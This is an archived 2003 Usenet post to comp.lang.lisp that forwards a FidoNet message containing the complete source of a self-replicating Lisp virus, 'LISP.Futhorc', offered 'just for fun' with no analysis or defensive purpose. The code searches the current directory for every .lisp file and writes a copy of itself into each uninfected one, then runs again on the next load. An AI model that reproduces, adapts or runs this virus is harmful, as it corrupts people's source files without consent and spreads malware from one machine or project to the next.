Допис з розмови Just for fun

Path: archiver1.google.com!news1.google.com!newsfeed.stanford.edu!news-spur1.maxwell.syr.edu!news.maxwell.syr.edu!newsfeed.icl.net!newsfeed.fjserv.net!peer2.news.opaltelecom.net!newsfeed.freenet.de!newsfeed.stueberl.de!news1.spb.su!demos!news.cca.usart.ru!elaleph.borges.cgitftp.uiggm.nsc.ru!not-for-mail
From: Ivan Boldyrev <boldyrev+nos...@cgitftp.uiggm.nsc.ru>
Newsgroups: comp.lang.lisp
Subject: [Fwd] Just for fun
Date: Fri, 27 Jun 2003 13:32:13 +0700
Organization: this field is intentionally left blank
Lines: 49
Sender: b...@p26.bass5.sinor.ru
Message-ID: <d05tsxm0j.ln2@elaleph.borges.cgitftp.uiggm.nsc.ru>
NNTP-Posting-Host: p26.bass5.sinor.ru
Mime-Version: 1.0
Content-Type: text/plain; charset=koi8-r
Content-Transfer-Encoding: 8bit
X-Trace: relay.cca.usart.ru 1056741272 78648 217.70.109.26 (27 Jun 2003 19:14:32 GMT)
X-Complaints-To: usenet@relay.cca.usart.ru
NNTP-Posting-Date: Fri, 27 Jun 2003 19:14:32 +0000 (UTC)
X-PGP-Fingerprint: 3640 E637 EE3D AA51 A59F  3306 A5BD D198 5609 8673
X-Request-PGP: hkp://wwwkeys.eu.pgp.net:11371
X-PGP-KeyID: 0xA5BDD19856098673 (1024D)
X-Face: )F&%>>2aLf`?!;:,6X5UGkAffu*K\XGWU.^kti;>ze'6LK'v-c44}$_RW0IiW<iD
User-Agent: Gnus/5.1002 (Gnus v5.10.2) Emacs/21.3 (gnu/linux)


-------------------- Start of forwarded message --------------------
Newsgroups: fido7.xsu.hacker
Distribution: fido7
X-Comment-To: All
From: "Ilya V. Vasilyev" (2:5020/287)
Date: Thu, 26 Jun 2003 10:27:28 +0600
Subject: Just for fun
Message-ID: <1056626881@f287.n5020.z2.ftn>
Organization: Hackers' POWER BBS

=============================================================================
* Forwarded by Ilya V. Vasilyev (2:5020/287)
* Area : su.cm (su.cm)
* From : andrew baranovich, 2:465/215 (Wednesday June 25 2003 15:21)
* To   : All
* Subj : Just for fun
=============================================================================
* Originally in su.cm
Crossposted to pvt.virii
Crossposted to ru.virus

;; Virus LISP.Futhorc by herm1t(at)netlux.org / Jun'03
(setq virus '(defun infect (&optional (ls (directory "*.lisp")))
  (defun writel (l s) (when l (write-line (car l) s) (writel (cdr l) s)))
  (when (setq vic (car ls))
    (let ((p nil)) (with-open-file (i vic :direction :input)
      (unless (equal (second (read i)) 'VIRUS) (file-position i 0)
        (loop (unless (setq line (read-line i nil nil)) (return))
          (setq p (append p (list line))))))
      (when p (with-open-file (o vic :direction :output)
        (format o "(setq virus '~S~%)(eval virus)(infect)~%" virus)
 (writel p o))))
    (infect (cdr ls))))
)(eval virus)(infect)

--
herm1t http://vx.netlux.org/ HERM-RIPE UR6IUF 2:465/215

-+- golded 3.0.1
 + Origin: Feed my fear (2:465/215)
=============================================================================

-------------------- End of forwarded message --------------------

-- 
Ivan Boldyrev

                                                        ÷ÁÛÉ ÂÁÊÔÙ ÂÉÔÙ!